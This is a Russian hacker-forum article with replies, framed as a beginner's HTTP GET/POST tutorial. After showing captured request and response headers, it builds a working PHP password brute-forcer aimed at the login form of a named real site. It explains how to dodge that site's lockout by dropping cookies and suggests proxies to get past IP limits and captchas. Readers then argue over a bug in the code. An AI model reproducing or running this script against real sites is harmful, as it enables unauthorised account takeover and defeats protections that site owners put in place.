Методы GET & POST

Тема в разделе "Статьи", создана пользователем NetSky, 5 ноя 2008.

  1. NetSky
    NetSky Guest
    «А я, ужиная на кухне, вынужден был сделать два гет-запроса в комнату: сначала за кетчупом, потом за кружкой для чая...)»
    (с) .xs​

    [Вступление]​

    И опять же, к основам основ. Думаю статья на эту тему будет уместна и полезна, естественно для новичков. Постараюсь изложить как можно больше информации по этим двум методам протокола HTTP и на практике доказать, что тема действительно важная.

    [---]​

    И так, начнем пожалуй с самых низов, а именно с протокола HTTP.
    С теорией можете познакомиться лишь поверхностно.

    (с) wiki​

    Более узнать о нем, можно на той же вики (_http://ru.wikipedia.org/wiki/HTTP)

    Если вкратце, то работа по этому протоколу, осуществляется примерно таким образом:
    Клиент устанавливает соединение с сервером по протоколу TCP (Transmission Control Protocol), отправляет HTTP запрос, а сервер, в свою очередь, обрабатывает его и отвечает.

    О протоколе TCP можно также почитать на Википедии.

    После того как ознакомились с определением самого протокола HTTP, можно перейти непосредственно к методам.

    (с) wiki​
    Иначе говоря, метод – это команда HTTP протокола.

    Различается довольно приличное количество этих методов, самыми распространенными из которых являются GET и POST (также HEAD - практически аналогичен методу GET и он для нас не столь важен).

    (с) wiki​

    Переменные запроса, передаваемого методом GET, можно наблюдать в адресной строке браузера, переменных же, передаваемых методом POST, в адресной строке вы не найдете.

    Усвоить главное одно, сервер и клиентский браузер, общаются через протокол HTTP, посредством заголовков, а эти самые заголовки уже отправляются методами (GET либо POST)

    Ну что, давайте немного подвинемся к практике…
    А для начала, взглянем на эти самые заголовки. Для этих целей (перехвата заголовков) я обычно использую программу naviscope (ftp://ftp.freeware.ru/win/internet/intutils/nscope.exe)
    Также существует множество плагинов для браузеров, но я предпочитаю использовать эту программу.

    И так, предпологается что программу вы уже скачали, установили и запустили. На панели задач должна появиться иконка программы с буквой “N”. Жмем второй кнопкой по ней > Веб инструменты > Переходим во вкладку (сверху) Diagnostics > И если хотим активировать перехват заголовков нажимаем вторую слева кнопку (она станет зеленой).
    Напротив «Максимум» лучше выставить число побольше(в общем не важно 20-30…).

    Теперь вы готовы к использованию программы.
    Перейдем в браузер IE (Internet Explorer) т.к. нави по умолчанию настроена на работу с этим браузером. Активируем в окне «Веб-инструментов» вторую кнопочку слева, о которой я упоминал ранее, и переходим на сайт, например “yandex.ru”.

    В окошке программы можем наблюдать огромное количество вкладок в «древовидной» форме. Нас интересует только «www.yandex.ru» (вкладок так много, потому что на сайте подгружаются также баннеры, реклама, счетчики и т.д.)
    На данном этапе также стоит заметить, что все вкладки разбиты на 4 группы и при чем в каждой последующей, содержатся вкладки аналогичные вкладкам в предыдущей.
    А 4 группы называются:

    Нас интересуют две из них, 2-я и 3-я, в принципе они аналогичны по значимости 1-й и 4-й, но более компактные, за счет обработки самой программой naviscope.
    Во второй группе, нажимаем по вертикальной вкладке «yandex.ru»
    Открылась еще одна вкладка, жмем по ней и перед нами отображается собственно сам заголовок сформированный браузером и обработанный нави. Выглядит он примерно так:

    Код:
    GET / HTTP/1.0
    Accept: */*
    Accept-Language: ru
    UA-CPU: x86
    Host: www.yandex.ru
    Cookie: yandexuid=6456156251225398366; yandex_login=  
    Connection: Keep-Alive

    В общем все просто, первая строка – метод «нашего» HTTP протокола. В данном случае GET. На рассматриваемый нами заголовок стоит обратить особое внимание т.к. в нем содержатся одни из основных переменных, передаваемых клиентом.
    (если раньше вы не были на яндексе переменной “Cookie” у вас не будет, т.к. она у меня подгрузилась с файла куки, хранящегося на диске, а вообще первый запрос осуществляется без этой переменной и только в ответе сервера, который мы сейчас рассмотрим, к нам прикрепляется кукис)

    В ответе также могут присутствовать переменные:

    Код:
    AdCentria-IM: lruyttgwbw
    AdCentria-IM-S: NTCPQN5Q2C6PDRYP
    Рассматривать мы их не будем, думаю это какая-то особенность сервера...

    Ну что, взглянем на ответ сервера?!
    В следующей группе (3-й по счету), нажимаем на ту же ссылку «www.yandex.ru»

    Код:
    HTTP/1.0 200 OK
    Server: nginx/0.6.31
    Date: Mon, 03 Nov 2008 19:39:52 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: close
    Last-Modified: Mon Nov  3 19:39:53 2008 GMT
    Content-Length: 34314
    Cache-Control: no-cache,no-store,max-age=0,must-revalidate
    Expires: Mon Nov  3 19:39:53 2008 GMT
    X-XRDS-Location: http://openid.yandex.ru/server_xrds/
    Видим уже более объемный заголовок – это ответ сервера на наш предыдущий запрос.
    Важного здесь ничего нет, можно отметить что сервер передает в ответном заголовке дату, тип контента, длину контента, время истечения (видимо кукисов, которые уже были у меня на винте). Ну вот, примерно таким обазом, клиент общается с сервером по протоколу HTTP (в нашем случае заголовок был отправлен серверу методом GET).

    Здесь мы отправляли заголовок методом GET, теперь давайте для наглядности перехватим заголовки отправленные методом POST и ответ сервера разумеется.
    Можем нажать на «крестик» в Веб-инструментах нави. И наши предыдущие заголовки удаляться. Теперь на время остановим работу нави, нажав еще раз вторую кнопочку слева, на верхней панеле, рядом с крестиком и она станет красной.

    Перейдем на
    Код:
    http://passport.yandex.ru/passport?mode=mauth
    Теперь опять сделаем нави активным, нажав на кнопочку и заполним форму авторизации (введите любую несуществующую пару...), и жмите «Войти». Теперь перейдем к Веб-инструментам нави, нажмем во второй группе на вкладку “passport.yandex.ru” , откроются еще, жмем на первую и видим наш заголовок, выглядит он примерно так:

    Код:
    POST /passport?mode=mauth HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
    Accept-Language: ru
    Content-Type: application/x-www-form-urlencoded
    UA-CPU: x86
    Content-Length: 61
    Host: passport.yandex.ru
    Pragma: no-cache
    Cookie: yandexuid=6456156251225398366; yandex_login=; yabs-frequency=/2///fG8D1041
    Connection: Keep-Alive
    
    timestamp=1225802664609&login=xz&passwd=xz&In=%C2%EE%E9%F2%E8

    Отметим что заголовок передается методом POST. В самом верху после “POST” идет строка из ссылки по которой мы переходили на ресурс («/passport?mode=mauth»). И в этом заголовке уже можно наблюдать контент, в роли которого некоторые переменные, среди них с вашим логином и паролем.

    Теперь давайте взглянем на ответ сервера:

    Код:
    HTTP/1.0 200 OK
    Server: nginx
    Date: Tue, 04 Nov 2008 12:44:28 GMT
    Content-Type: text/html; charset=windows-1251
    Connection: close
    Vary: Accept-Encoding
    Cache-Control: no-cache,no-store,max-age=0,must-revalidate
    Pragma: no-cache
    Expires: Tue, 04 Nov 2008 12:44:28 GMT

    HTTP/1.0 200 OK – Эта строка, в ответе сервера, говорит нам о том, что аккаунта с таким логином и паролем нет. Иначе было бы что-то вроде этого:

    HTTP/1.0 302 Found

    Ну что, общее представление о методах POST и GET протокола HTTP у вас уже есть.
    Теперь можно перейти к практике.
    Имея минимальные знания синтаксиса PHP, можно написать например брутфорс веб-форм, флудер или спамер, работающий посредством передачи заголовков методами GET и POST. Это самые простые из огромного кол-ва примеров, которые можно привести. Думаю многие из вас знают программу WWWHack, рабочую версию которой найти не так то просто. Но зная основы PHP и методов GET и POST, можно спокойно и буквально за пять минут, самому написать простенький брутфорс веб-форм, например. Конечно в более-менее современных CMS для этих целей приходится еще и прокси привязывать, т.к. при написании брута веб-форм для такой CMS, сталкиваешься с ограничениями, вроде ограниченного количеста попыток логина с одного айпи, например, а дальше идет капча. Но это уже ваши проблемы, так сказать =), учите С(++/#), Делфи и т.п. и пишите многопоточные брутфорсы с поддержкой прокси и т.д.
    Ну что, давайте для примера напишем простой брутфорс веб-форм. Для начала, нам понадобиться сайт, для которого мы собственно и будем писать брут.
    Для этой цели я выбрал сайт “fifas.ru”, движок стоит DLE, ничего личного, примеры кода приведенного мною предназначены только для изучения, лично вас прошу, конкретно этот сайт, ни в коем случае не трогать! Выберите свой, продумайте все, подучите немного синтаксис PHP и напишите свой подобный скриптик, это будет намного лучше.
    И так, зайдя на сайт и попытавшись залогиниться (естественно логин и пасс я взял «левые»), мне вылетело сообщение об ошибке авторизации, тогда я решил протестировать сайт на доп. защиту в этом плане. Логин я оставил тот же, а вот пароли начал вводить другие, ну и через где-то 10-ок паролей, появляется пустая страница и в углу надпись “Hacking Attempt!” (попытка взлома), при последующих попытках войти на сайт мне вместо контента выскакивало тоже сообщение, это даже пугало, т.к. смахивало на «бан». Меня это не очень обрадовало, первая мысль о том, что идет распознание по IP, но тут появилась мысль, я пошел в настройки браузера и удалил куки с этого сайта, рестартанул страничку и угадайте, все отобразилось нормально. Следовательно дело было в куки, которые мой браузер передавал серверу, именно по ним скрипт меня и распознавал как «нарушителя» =). Тут то я и обрадовался =). То есть если не передавать серверу своих кукисов, он не будет тебя отличать, в плане того что попыток авторизации при этом можно делать сколько угодно. И я приступил к реализации. Навископом вы пользоваться уже умеете, так что объяснять свои шаги в плане нави я особо не буду.
    Дальше я естественно удалил куки в браузере, перешел на главную страницу, ввел опять же «левые» данные в поле авторизации и перехватил этот запрос-ответ навископом.

    Увидел примерно следующее:


    Запрос Навископа к серверу:

    Код:
    POST /index.php HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
    Accept-Language: ru
    Content-Type: application/x-www-form-urlencoded
    UA-CPU: x86
    Content-Length: 46
    Host: fifas.ru
    Pragma: no-cache
    Cookie: PHPSESSID=e4f2c07a57220d26d97d1fdef2c2afe5
    Connection: Keep-Alive
    
    login_name=xz&login_password=xzxz&login=submit

    Ответ Сервера Навископу:

    Код:
    HTTP/1.0 200 OK
    Server: Apache/3.5.07 (Windows 2003 Server Corporate x64)0.5.14
    Date: Tue, 04 Nov 2008 14:52:42 GMT
    Content-Type: text/html; charset=WINDOWS-1251
    Connection: close
    X-Powered-By: PHP/4.4.6
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Set-Cookie: dle_user_id=deleted; expires=Monday, 05-Nov-07 14:52:41 GMT; path=/; domain=.fifas.ru; HttpOnly
    Set-Cookie: dle_password=deleted; expires=Monday, 05-Nov-07 14:52:41 GMT; path=/; domain=.fifas.ru; HttpOnly
    Set-Cookie: dle_skin=deleted; expires=Monday, 05-Nov-07 14:52:41 GMT; path=/; domain=.fifas.ru; HttpOnly
    Set-Cookie: dle_hash=deleted; expires=Monday, 05-Nov-07 14:52:41 GMT; path=/; domain=.fifas.ru; HttpOnly
    Last-Modified: Tue, 04 Nov 2008 07:52:42 +0300 GMT
    Как видим в ответе сервер опять же устанавливает нам куки, но со значениями “deleted”, то есть не валидные, т.к. и данные у нас были не валидные.
    Дальше я пошел на сайт и зарегистрировал аккаунт, теперь уже ввел в форму валидные данные и получил примерно следующее:

    От Нави Серверу:

    Код:
    POST / HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
    Accept-Language: ru
    Content-Type: application/x-www-form-urlencoded
    UA-CPU: x86
    Content-Length: 54
    Host: fifas.ru
    Pragma: no-cache
    Cookie: PHPSESSID=70dfd30e2ac5f71e9c038e77ed3fa9aa
    Connection: Keep-Alive
    
    login_name=NetSky&login_password=мой_валидный_пасс&login=submit

    От Сервера Навику:

    Код:
    HTTP/1.0 200 OK
    Server: Apache/3.5.07 (Windows 2003 Server Corporate x64)0.5.14
    Date: Tue, 04 Nov 2008 14:50:36 GMT
    Content-Type: text/html; charset=WINDOWS-1251
    Connection: close
    X-Powered-By: PHP/4.4.6
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Set-Cookie: dle_user_id=8552; expires=Wednesday, 04-Nov-09 14:50:36 GMT; path=/; domain=.fifas.ru; HttpOnly
    Set-Cookie: dle_password=5bc4c0baf59ada9972e99725b73c73b3; expires=Wednesday, 04-Nov-09 14:50:36 GMT; path=/; domain=.fifas.ru; HttpOnly
    Set-Cookie: dle_newpm=0; expires=Wednesday, 04-Nov-09 14:50:36 GMT; path=/; domain=.fifas.ru; HttpOnly
    Last-Modified: Tue, 04 Nov 2008 07:50:36 +0300 GMT
    Здесь уже можем наблюдать, в ответе, абсолютно нормальные куки нам устанавливает сервер. Пришло время начать писать понемногу наш, собственно, брутфорс.
    Как я уже говорил, реализовывать это мы будем на PHP. А для начала я познакомлю вас с операторами и ф-циями которые мы будем использовать в скрипте. Но опять же, советую вам почитать хороший самоучитель по этому языку и самим немного попрактиковаться.

    $имя; – объявление переменной
    fsockopen(host, port); – ф-ция инициализации сокета (вспомните, прежде чем начать общаться с сервером по протоколу HTTP, клиент подключается к нему по протоколу TCP).
    fwrite(); / fputs(); – две одинацовые ф-ции осуществляющие «записать данных в сокет».
    fgets(); – противоположна предыдущей ф-ции, она считывает ответ из сокета.
    fclose(); - собственно закрываем сокет.
    Но опять же не все так просто, чтобы потом использовать сокет, мы должны присвоить переменной уникальный идентификатор, который возвращает ф-ция fsockopen, то есть в коде это выглядит примерно так:

    Код:
    $имя_переменной = fsockopen(“yandex.ru”, 80);
    fwrite($имя_переменной, “Привет ЯД!=)”);
    fgets($имя_переменной, 128 (это кол-во символов, «порции» которыми ф-ция будет принимать ответ));
    fclose($имя_переменной);
    Идем дальше:

    for(переменная-счетчик, условие, операция на переменной в условии)
    {

    }


    Это пример цикла на PHP.

    while (условие)
    {

    }


    Это тоже цикл, выполняется пока условие истинно.

    Идем далее:

    echo “строка”; - оператор вывода
    !feof() – логическое - «пока не конец»
    ! - логическое «не»
    .= - тоже самое что – “stroka” = “stroke” + “eshe_stroka”

    if(условие)
    {

    }


    Если условие истинно, выполняется все что в фигурных скобках.

    Так, ну вроде основной синтаксис, который нам понадобиться для понимания того, о чем я буду говорить, я описал и надеюсь максимально доступно, опять же, учите PHP =) Если будут встречаться новые операторы или ф-ции по ходу, я их опишу.

    И так, начнем.

    PHP:
    <?php
        $fp 
    = fsockopen("fifas.ru", 80, $errms, $errno);
        if(!
    fp) {
            echo 
    "$errms : $errno";
        } else {
            
    $data = "";
            
    $login = "xz";
            
    $passwd = "xz";
            
    $query = "login_name=".$login."&login_password=".$passwd."&login=submit";        

            
    $out = "POST /index.php HTTP/1.0\r\n";
            
    $out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*\r\n";
            
    $out .= "Accept-Language: ru\r\n";
            
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
            
    $out .= "UA-CPU: x86\r\n";
            
    $out .= "Content-Length: ".strlen($query)."\r\n";
            
    $out .= "Host: fifas.ru\r\n";
            
    $out .= "Pragma: no-cache\r\n";
            
    $out .= "Connection: Keep-Alive\r\n\r\n";
            
    $out .= $query;

            
    fwrite($fp, $out);

            while(!
    feof($fp)) {
                
    $data .= fgets($fp, 128);
            }
            echo 
    $data;
        }
        
    fclose($fp);
    ?>

    Инициализируем сокет:

    PHP:
    $fp = fsockopen("fifas.ru", 80, $errms, $errno);
    Если инициализация «обломалась» выводим сообщение об ошибке:

    PHP:
    if(!fp) {
            echo 
    "$errms : $errno";
    }
    Если нет, продолжаем:

    PHP:
    else {

    }
    Объявляем несколько переменных, а также переменную параметром ее является контент, который мы будем передавать вместе с заголовком, он содержит самую важную часть – логин и пароль.

    PHP:
            $data = "";
            
    $login = "xz";
            
    $passwd = "xz";
            
    $query = "login_name=".$login."&login_password=".$passwd."&login=submit";

    Записываем наш заголовок, поочередно, в переменную $out:

    PHP:
    $out = "POST /index.php HTTP/1.0\r\n";
            
    $out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*\r\n";
            
    $out .= "Accept-Language: ru\r\n";
            
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
            
    $out .= "UA-CPU: x86\r\n";
            
    $out .= "Content-Length: ".strlen($query)."\r\n";
            
    $out .= "Host: fifas.ru\r\n";
            
    $out .= "Pragma: no-cache\r\n";
            
    $out .= "Connection: Keep-Alive\r\n\r\n";
            
    $out .= $query;
    Теперь отправляем заголовок серверу через инициализированный сокет:

    PHP:
            fwrite($fp, $out);
    И пока не конец ответа сервера, принимаем заголов и контент – как ответ сервера (и записываем в переменную $data):

    PHP:
            while(!feof($fp)) {
                
    $data .= fgets($fp, 128);
            }
    Выводим переменную $data (а в ней, как мы помним, ответ сервера) :

    PHP:
            echo $data;
    Закрываем соединение:

    PHP:
    fclose($fp);
    Ну вот в принципе и основная часть нашего брутфорса, то есть в этом кусочке кода мы отвравляем заголовок с данными для авторизации серверу и получаем ответ (заголовок и контент – обычную страничку).
    Выполнив скрипт мы увидим страничку сайта с сообщением об ошибке авторизации, а все потому что в переменных:

    Мы указали «левые» данные, соответственно указав верные, мы окажемся на страничке будучи авторизированными.

    Теперь будем думать над условием обработки ответа, то есть, у нас же будет брутфорс, значит нам осталось добавить всего пару ф-ций, а именно обработку ответа и в случае если ответ был положительным, выводить в браузер подобранный пароль. А также добавить считывание паролей для подборки из файла.

    Перед тем как начинать дописывать условие удачного логина, я пошел на сайт, авторизировался под своим зареганным аккаунтом и открыл исходный код страницы после авторизации, от обычной страницы с ошибкой ее отличала, например, строка «>Мой профиль<»вот ее то мы и используем чтобы отличить страницу с ошибкой от страницы от страницы после удачной авторизации.
    То есть вставим условие, если на полученной странице найдена приведенная выше строка, вывыести на экран комбинацию логина и подобранного пароля, закрыть сокет и выйти из цикла.

    Я полностью дописал обе недостающие нам ф-ции и давайте теперь проанализируем код:

    PHP:
    <?php
        $passes 
    = array();
        
    $passes = file("passwords.txt");

        echo 
    "Wait please some minutes...";

    for(
    $i = 0; $i < count($passes); $i++) {
        
    $fp = fsockopen("fifas.ru", 80, $errms, $errno);
        if(!
    fp) {
            echo 
    "$errms : $errno";
        } else {
            
    $data = "";
            
    $login = "NetSky";
            
    $query = "login_name=".$login."&login_password=".$passes[$i]."&login=submit";        

            
    $out = "POST /index.php HTTP/1.0\r\n";
            
    $out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*\r\n";
            
    $out .= "Accept-Language: ru\r\n";
            
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
            
    $out .= "UA-CPU: x86\r\n";
            
    $out .= "Content-Length: ".strlen($query)."\r\n";
            
    $out .= "Host: fifas.ru\r\n";
            
    $out .= "Pragma: no-cache\r\n";
            
    $out .= "Connection: Keep-Alive\r\n\r\n";
            
    $out .= $query;

            
    fwrite($fp, $out);

            while(!
    feof($fp)) {
                
    $data .= fgets($fp, 128);
            }
            if(
    substr_count($data, ">Мой профиль<") > 0) 
            {
                echo 
    "<br><br>$login : $passes[$i] ::: VALID<br>";
                
    fclose($fp);
                break;
            }

            if(
    $i == count($passes)-1) echo "<br>No password found!";

        }
        
    fclose($fp);
    }
        
        echo 
    "<br>Ready!";
    ?>
    Я не буду комментировать надписи, которые выводятся для удобства пользования, типа «Подождите…».

    У нас появилась новая переменная и ф-ция:

    PHP:
        $passes = array();
        
    $passes = file("passwords.txt");
    Сдесь, массив $passes заполняется строчками из файла «passwords.txt», благодаря ф-ции file(), при этом, например, первая строчка файла имеет первый индекс массива (нуль «0»).

    Смотрим также у нас появился цикл:

    PHP:
    for($i = 0; $i < count($passes); $i++) {

    }
    А в фигурные скобки после цикла заключен весь скрипт. То есть, цикл повторяется, пока переменная $i меньше количества строк из файла в массиве, а то есть меньше нашего количества паролей. При этом переменная $i прибавляется после каждой итерации цикла (после каждой итерации – здесь, после каждого шага цикла).

    Теперь рассмотрим строку контентка с логином и паролем, которую мы также передадим с заголовком:

    PHP:
    $query = "login_name=".$login."&login_password=".$passes[$i]."&login=submit";
    Логином по прежнему является переменная $login, а вот на месте переменной с паролем уже стоит строка из массива (с нашими паролями из файла) с индексом $i:

    PHP:
    $passes[$i]
    Каждый раз когда $i увеличивается на один, мы получаем следующую строку из массива.


    Теперь посмотрим на условие в обработке ответа:

    PHP:
            if(substr_count($data, ">Мой профиль<") > 0) 
            {
                echo 
    "<br><br>$login : $passes[$i] ::: VALID<br>";
                
    fclose($fp);
                break;
            }
    Сдесь, присутствует новая ф-ция substr_count();, которая возвращает количество вхождений подстроки в строку, в данному случае, если количество вхождений строки ">Мой профиль<" (то есть нашего положительного результата) в строку $data (то есть наш ответ сервера) - больше нуля, вывести сообщение с подобранным паролем (echo "<br><br>$login : $passes[$i] ::: VALID<br>"; ), закрыть сокет (fclose($fp); ) и выйти из цикла (break; ).

    Ну вроде все описал, теперь если создать рядом со скриптом файл с паролями(один из которых валидный), вписать логин, например свой и оставить брут, через некоторое время увидим ожидаемый результат. Конечно работу скрипта можно было ускорить, например еще в цикле приема ответа от сервера, включить проверку наличия валидного ответа или ошибки и при обнаружении либо выйти из обоих циклов либо сразу прыгать на следующую итерацию, тогда не приходилось бы ждать загрузку всей страницы, либо можно было бы заметить, что еще в заголовке при валидном ответе, переменная с идентификатором юзера меняется на «реальную», а в случае ошибки получает значения “deleted”, то можно было бы проверять валидность ответа еще в заголовке с помощью тех же регулярных выражений… Можно всячески ускорить работу скрипта. Ну да моей целью было показать основу, в как можно более наглядном примере.

    [Заключение]​

    Ну вот и подошли мы к концу, что бы я хотел добавить, учите языки программирования если хотите находить и использовать уязвимости. Надеюсь эта статья помогла вам лучше понять взаимодействие клиента и сервера по протоколу HTTP методами POST и GET, а также в реализации этих знаний.

    [---]​


    Удачи, с вами был NetSky!

    Специально для Xaker.Name.
     
    5 ноя 2008
    11 пользователям это понравилось.
  2. cyber
    cyber Guest
    молодец пацанчик. Норм статья, все разжевано
     
    6 ноя 2008
  3. Хел
    Хел Guest
    ну так, лучше рфц по хттп в дополнение к статье прочитать еще.
     
    6 ноя 2008
  4. Robo
    Robo Guest
    Молодец. Отлично расписал. Вот поболее бы таких авторов.
     
    14 ноя 2008
  5. Хел
    Хел Guest
    Robo,
    ага а в моей статье ты не откоментил(
     
    14 ноя 2008
  6. b3
    b3 Guest
    2 Ошибки исправь)
    Код:
    <?php
        $fp = fsockopen("fifas.ru", 80, $errms, $errno);
        if(!fp) {
            echo "$errms : $errno";
        } else {
            $data = "";
            $login = "xz";
            $passwd = "xz";
            $query = "login_name=".$login."&login_password=".$passwd."&login=submit";        
    
            $out = "POST /index.php HTTP/1.0\r\n";
            $out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*\r\n";
            $out .= "Accept-Language: ru\r\n";
            $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
            $out .= "UA-CPU: x86\r\n";
            $out .= "Content-Length: ".strlen($query)."\r\n";
            $out .= "Host: fifas.ru\r\n";
            $out .= "Pragma: no-cache\r\n";
            $out .= "Connection: Keep-Alive\r\n\r\n";
    
            fwrite($fp, $out);
    
            while(!feof($fp)) {
                $data .= fgets($fp, 128);
            }
            echo $data;
        }
        fclose($fp);
    ?>
    


    //Ошибки там, как таковой, нет, т.к. в полном варианте, эта строка прикрепляется к заголовку и все отлично работает...
     
    14 ноя 2008
  7. NetSky
    NetSky Guest
    Скока те говорить) Ты смотри последний код и вообще лучше не код "выковыривай", а статью полностью читай, тогда бы понял, что первый код - просто для наглядности, я там составил строку контента, но не прикреплял ее к заголовку запроса... Это только шаблон для последовательного изучения "сердца" скрипта, основной части, которая работать по идее не должна без дополнительных ф-ций, которые я прикрепляю дальше и выкладываю полноценный рабочий код, где строка контента отправляется как часть заголовка, считывается и обрабатывается ответ, выводится результат...
     
    14 ноя 2008
  8. b3
    b3 Guest
    Я подобную статью читал лет 8 назад, когда ты еще наверное в школу не ходил)))
    А вот ошибки в коде поисправляй, непонимаю я прикола вылаживать пример в котором присутствуют ошибки.
     
    14 ноя 2008
  9. NetSky
    NetSky Guest
    А вот про школу не стоило...


    //Тему клос, во избежание дальнейшего зафлужевания...

    //А хотя не, погорячился, возможно будут вопросы...
     
    14 ноя 2008
Загрузка...